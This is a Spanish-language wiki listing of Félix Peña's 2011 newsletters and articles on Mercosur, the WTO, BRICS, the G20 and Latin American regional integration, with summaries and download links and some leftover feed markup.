Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===A la hora de integrar naciones no existe GPS===&lt;br /&gt;
&lt;br /&gt;
Diario El Cronista, 9 de Noviembre de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-11-09-a-la-hora-de-integrar-naciones-no-existe-gps Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Integración regional e inserción internacional de América Latina en un mundo de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Septiembre de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-09-america-latina-mundo-multiples-opciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Aportes para un necesario debate sobre el futuro de la OMC===&lt;br /&gt;
&lt;br /&gt;
Diario El Cronista, 4 de Agosto 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-08-04-aportes-para-un-necesario-debate-sobre-futuro-omc Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Las agendas de un Mercosur que procura actualizarse===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-agendas-de-un-mercosur-que-procura-actualizarse Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Impulso político e imaginación técnica===&lt;br /&gt;
&lt;br /&gt;
Diario El Argentino, 31 de Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-31-impulso-politico-e-imaginacion-tecnica Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2135</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2135"/>
		<updated>2011-12-15T19:38:59Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* A la hora de integrar naciones no existe GPS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL FIN DE TRES CICLOS HISTÓRICOS LARGOS: ¿Telón de fondo de dilemas en la construcción de espacios regionales?===&lt;br /&gt;
&lt;br /&gt;
Noviembre 2011&lt;br /&gt;
&lt;br /&gt;
Los cambios estructurales que se están observando en el plano internacional, pueden estar reflejando el fin simultáneo de tres ciclos históricos largos. Ellos han incidido en las relaciones internacionales durante los últimos siglos.&lt;br /&gt;
&lt;br /&gt;
Uno es el iniciado hace quinientos años cuando Europa comienza a ocupar el centro del escenario mundial, que se desplaza al promediar el siglo pasado a los Estados Unidos. Es un ciclo largo centrado en Occidente. El otro es el iniciado con la Revolución Industrial a finales del siglo XVIII que dio lugar, entre otros muchos efectos, a la divergencia de trayectorias económicas entre el centro y la periferia. Y el tercero es el iniciado a mitad del siglo XVII con la Paz de Westfalia, durante el cual surgen diversas modalidades de conciertos de naciones con capacidad de preservar un determinado orden internacional.&lt;br /&gt;
&lt;br /&gt;
Los cambios estructurales son hoy un telón de fondo a tener presente en el análisis de las turbulencias que sacuden al espacio regional europeo. Expresan el fin de una época en que tanto Europa como los Estados Unidos han sido el centro principal en el escenario mundial. Pero también están detrás de los dilemas existenciales y metodológicos que se observan en otros espacios geográficos regionales en los que coexisten naciones soberanas que pueden optar, en sus relaciones recíprocas, por el camino de la fragmentación o por el de la articulación. Incluye al espacio geográfico sudamericano o al más amplio -y a veces difícil de definir- que es el de América Latina y el Caribe.&lt;br /&gt;
&lt;br /&gt;
La construcción de una Europa unida, por mucho tiempo visualizada como una referencia por otras regiones, ha entrado ahora en una fase de incertidumbres y de grandes dilemas. Incertidumbres con respecto al futuro de su modelo económico y social, sustento de un modo de vida y de cada uno de los diversos sistemas políticos nacionales. Dilemas en cuanto a si se puede continuar y en su caso cómo, la construcción de un espacio integrado que presenta éxitos y también visibles falencias.&lt;br /&gt;
&lt;br /&gt;
Es temprano aún para hacer un pronóstico sobre el futuro de la integración europea. Su pasado genera la expectativa de que Europa sabrá reinventarse. En todo caso, no es ésta una cuestión indiferente para los países del Mercosur teniendo en cuenta, entre otros factores, la negociación en curso de un acuerdo interregional que sea atractivo y original.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-11-fin-tres-ciclos-historicos-largos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EROSIÓN DE LAS DISCIPLINAS COLECTIVAS MULTILATERALES: ¿Una resultante de la falta de adaptación del sistema OMC a las nuevas realidades?===&lt;br /&gt;
&lt;br /&gt;
Octubre 2011&lt;br /&gt;
&lt;br /&gt;
La capacidad de adaptación a nuevas realidades que inciden sobre sus objetivos, funciones y razones de existencia, es una de las condiciones para la vigencia, eficacia y legitimidad social de un régimen internacional institucionalizado, sea éste de alcance global o regional. Implica la oportuna adecuación de sus reglas, instrumentos y procesos de producción normativa, a los continuos cambios que se van produciendo en el contexto en el que ellas operan y, en especial, en la distribución de poder entre los países que son parte del respectivo sistema.&lt;br /&gt;
&lt;br /&gt;
Algunas tendencias que se están observando hacia un relajamiento de las disciplinas colectivas que resultan de las reglas pactadas en la OMC -y que en su mayoría provienen del período del GATT- le dan actualidad a la cuestión de la adaptación del sistema en su conjunto a las nuevas realidades internacionales.&lt;br /&gt;
&lt;br /&gt;
Tales tendencias son, en primer lugar, las de modalidades novedosas de proteccionismo que surgen por no encontrarse en las reglas del sistema el sustento para lo que se considera una necesaria defensa de intereses nacionales y, en segundo lugar, la de la una creciente proliferación de acuerdos comerciales preferenciales que pueden implicar en la práctica la erosión del principio de no discriminación que, se sabe, ha sido siempre considerado como vertebral al sistema multilateral global del comercio internacional, o que pueden acentuar una peligrosa fragmentación del sistema de comercio mundial, especialmente por sus contenidos &amp;quot;OMC plus&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
La Octava Conferencia Ministerial a realizarse en diciembre próximo en Ginebra brindaría una oportunidad para poner de manifiesto la existencia de voluntad y capacidad de los países miembros para adaptar la OMC a nuevas realidades mundiales que están emergiendo en forma cada vez más evidentes. Dado el escepticismo que parece predominar hoy sobre sus resultados, quizás sería un paso adelante el que la Conferencia, al menos, permita instalar el inicio de un proceso gradual orientado a encarar algunas de las cuestiones más relevantes que podrían producir una erosión sistémica de alcance impredecible.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-10-falta-de-adaptacion-sistema-omc-nuevas-realidades Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===ALADI, UNASUR Y EL MERCOSUR: ¿Ejes de la construcción institucional de una región que enfrenta sus desafíos?===&lt;br /&gt;
&lt;br /&gt;
Septiembre 2011&lt;br /&gt;
&lt;br /&gt;
Colocar las instituciones regionales en la onda de la nueva realidad mundial y de los desafíos que plantea es una prioridad para los países sudamericanos y para sus otros socios latinoamericanos. En tal perspectiva cabe interrogarse sobre el papel que pueden desempeñar las instituciones regionales que ya existen, y a las que pertenecen la Argentina y sus socios sudamericanos. Especialmente si es que ellas logran trabajar en forma articulada en el plano del diagnóstico y de propuestas concretas para la acción.&lt;br /&gt;
&lt;br /&gt;
Tres instituciones regionales que hoy existen pueden destacarse al respecto. No son las únicas. Pero son las que, por sus ámbitos de acción, más potencial tienen para trabajar en forma articulada. Son la ALADI, la UNASUR y el Mercosur. Son instituciones regionales que tienen objetivos, funciones, alcances geográficos e incluso historias diferentes. Pero son complementarias. Pueden potenciarse mutuamente. Hechos recientes parecen reflejar la intención de iniciar una nueva era de estas tres instituciones regionales.&lt;br /&gt;
&lt;br /&gt;
Se percibe voluntad política de coordinar a los países de la región en sus estrategias para navegar la nueva realidad mundial, enfrentando sus desafíos y aprovechando sus oportunidades. Esas tres instituciones tienen un papel destacado a cumplir al respecto. Una articulación en sus actividades, aprovechando la reciente designación a su frente de personalidades con fuerte experiencia política, permitiría potenciar los servicios que ellas pueden prestar a sus países miembros.&lt;br /&gt;
&lt;br /&gt;
Circunstancias externas que plantean claras necesidades de acción concertada entre países de la región. Instituciones regionales que existen y pueden ser utilizadas. Personalidades políticas de amplia experiencia a cargo de ellas. Diagnósticos elaborados por instituciones de prestigio. Todo indica entonces que están reunidos los elementos necesarios para actuar con eficacia.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-09-aladi-unasur-mercosur-construccion-institucional-de-una-region Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN ¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
